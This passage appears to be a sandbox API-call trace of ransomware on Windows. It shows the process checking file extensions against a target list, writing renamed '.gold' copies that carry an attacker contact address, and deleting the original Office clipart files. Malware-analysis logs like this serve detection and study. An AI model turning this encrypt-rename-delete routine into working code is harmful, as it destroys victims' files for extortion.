[0115.181] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.181] SetEndOfFile (hFile=0x3d0) returned 1 [0115.181] CloseHandle (hObject=0x3d0) returned 1 [0115.181] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.181] SetEndOfFile (hFile=0x194) returned 1 [0115.182] CloseHandle (hObject=0x194) returned 1 [0115.183] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0213449.wmf")) returned 1 [0115.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.184] lstrlenW (lpString=".doc") returned 4 [0115.184] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.184] lstrlenW (lpString=".docx") returned 5 [0115.184] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.184] lstrlenW (lpString=".pdf") returned 4 [0115.184] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.184] lstrlenW (lpString=".xls") returned 4 [0115.184] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.184] lstrlenW (lpString=".xlsx") returned 5 [0115.184] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.184] lstrlenW (lpString=".ppt") returned 4 [0115.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".zip") returned 4 [0115.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.185] lstrlenW (lpString=".rar") returned 4 [0115.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".bz2") returned 4 [0115.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".7z") returned 3 [0115.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".dbf") returned 4 [0115.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".1cd") returned 4 [0115.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".jpg") returned 4 [0115.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".doc") returned 4 [0115.185] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".docx") returned 5 [0115.185] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.185] lstrlenW (lpString=".pdf") returned 4 [0115.185] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".xls") returned 4 [0115.185] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.185] lstrlenW (lpString=".xlsx") returned 5 [0115.185] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.185] lstrlenW (lpString=".ppt") returned 4 [0115.185] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".zip") returned 4 [0115.185] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.185] lstrlenW (lpString=".rar") returned 4 [0115.185] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".bz2") returned 4 [0115.185] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString=".7z") returned 3 [0115.185] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".dbf") returned 4 [0115.185] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".1cd") returned 4 [0115.185] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.185] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0213449.WMF") returned 63 [0115.185] lstrlenW (lpString=".jpg") returned 4 [0115.185] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.186] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.186] lstrlenW (lpString="J0214934.WMF") returned 12 [0115.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.186] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=31926) returned 1 [0115.186] CloseHandle (hObject=0x194) returned 1 [0115.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf")) returned 0x20 [0115.187] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0115.187] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.187] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.188] GetLastError () returned 0x0 [0115.188] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x7cb6, lpOverlapped=0x0) returned 1 [0115.268] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x7cc0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x7cc0, lpOverlapped=0x0) returned 1 [0115.269] ReadFile (in: hFile=0x194, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.269] WriteFile (in: hFile=0x3d0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.269] SetEndOfFile (hFile=0x3d0) returned 1 [0115.269] CloseHandle (hObject=0x3d0) returned 1 [0115.269] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.269] SetEndOfFile (hFile=0x194) returned 1 [0115.271] CloseHandle (hObject=0x194) returned 1 [0115.272] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.290] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0214934.wmf")) returned 1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".doc") returned 4 [0115.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString=".docx") returned 5 [0115.301] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0115.301] lstrlenW (lpString=".pdf") returned 4 [0115.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString=".xls") returned 4 [0115.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.301] lstrlenW (lpString=".xlsx") returned 5 [0115.301] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0115.301] lstrlenW (lpString=".ppt") returned 4 [0115.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".zip") returned 4 [0115.301] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.301] lstrlenW (lpString=".rar") returned 4 [0115.301] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString=".bz2") returned 4 [0115.301] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString=".7z") returned 3 [0115.301] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".dbf") returned 4 [0115.301] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".1cd") returned 4 [0115.301] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".jpg") returned 4 [0115.301] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.301] lstrlenW (lpString=".doc") returned 4 [0115.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.301] lstrlenW (lpString=".docx") returned 5 [0115.301] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0115.301] lstrlenW (lpString=".pdf") returned 4 [0115.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString=".xls") returned 4 [0115.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.302] lstrlenW (lpString=".xlsx") returned 5 [0115.302] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0115.302] lstrlenW (lpString=".ppt") returned 4 [0115.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.302] lstrlenW (lpString=".zip") returned 4 [0115.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.302] lstrlenW (lpString=".rar") returned 4 [0115.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString=".bz2") returned 4 [0115.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString=".7z") returned 3 [0115.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.302] lstrlenW (lpString=".dbf") returned 4 [0115.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.302] lstrlenW (lpString=".1cd") returned 4 [0115.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0214934.WMF") returned 63 [0115.302] lstrlenW (lpString=".jpg") returned 4 [0115.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.302] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.302] lstrlenW (lpString="J0215718.WMF") returned 12 [0115.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.303] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=5618) returned 1 [0115.303] CloseHandle (hObject=0x3d0) returned 1 [0115.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf")) returned 0x20 [0115.303] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.303] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.304] GetLastError () returned 0x0 [0115.304] ReadFile (in: hFile=0x3d0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x15f2, lpOverlapped=0x0) returned 1 [0115.320] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1600, lpOverlapped=0x0) returned 1 [0115.321] ReadFile (in: hFile=0x3d0, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.321] WriteFile (in: hFile=0x38c, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.321] SetEndOfFile (hFile=0x38c) returned 1 [0115.321] CloseHandle (hObject=0x38c) returned 1 [0115.321] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.321] SetEndOfFile (hFile=0x3d0) returned 1 [0115.323] CloseHandle (hObject=0x3d0) returned 1 [0115.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.323] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf")) returned 1 [0115.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.324] lstrlenW (lpString=".doc") returned 4 [0115.324] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.324] lstrlenW (lpString=".docx") returned 5 [0115.324] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0115.324] lstrlenW (lpString=".pdf") returned 4 [0115.324] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.324] lstrlenW (lpString=".xls") returned 4 [0115.324] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.324] lstrlenW (lpString=".xlsx") returned 5 [0115.324] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0115.324] lstrlenW (lpString=".ppt") returned 4 [0115.324] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.324] lstrlenW (lpString=".zip") returned 4 [0115.324] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.324] lstrlenW (lpString=".rar") returned 4 [0115.324] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.324] lstrlenW (lpString=".bz2") returned 4 [0115.324] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.324] lstrlenW (lpString=".7z") returned 3 [0115.324] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".dbf") returned 4 [0115.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".1cd") returned 4 [0115.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".jpg") returned 4 [0115.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".doc") returned 4 [0115.325] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString=".docx") returned 5 [0115.325] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0115.325] lstrlenW (lpString=".pdf") returned 4 [0115.325] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString=".xls") returned 4 [0115.325] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.325] lstrlenW (lpString=".xlsx") returned 5 [0115.325] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0115.325] lstrlenW (lpString=".ppt") returned 4 [0115.325] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".zip") returned 4 [0115.325] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.325] lstrlenW (lpString=".rar") returned 4 [0115.325] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString=".bz2") returned 4 [0115.325] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString=".7z") returned 3 [0115.325] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".dbf") returned 4 [0115.325] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".1cd") returned 4 [0115.325] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.325] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF") returned 63 [0115.325] lstrlenW (lpString=".jpg") returned 4 [0115.325] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.325] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.325] lstrlenW (lpString="J0216540.WMF") returned 12 [0115.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.337] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=42120) returned 1 [0115.337] CloseHandle (hObject=0x3ec) returned 1 [0115.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf")) returned 0x20 [0115.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0115.338] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.338] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0115.339] GetLastError () returned 0x0 [0115.340] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0xa488, lpOverlapped=0x0) returned 1 [0115.349] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xa490, lpOverlapped=0x0) returned 1 [0115.350] ReadFile (in: hFile=0x394, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0115.350] WriteFile (in: hFile=0x3ec, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.350] SetEndOfFile (hFile=0x3ec) returned 1 [0115.351] CloseHandle (hObject=0x3ec) returned 1 [0115.351] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0115.351] SetEndOfFile (hFile=0x394) returned 1 [0115.353] CloseHandle (hObject=0x394) returned 1 [0115.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.353] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 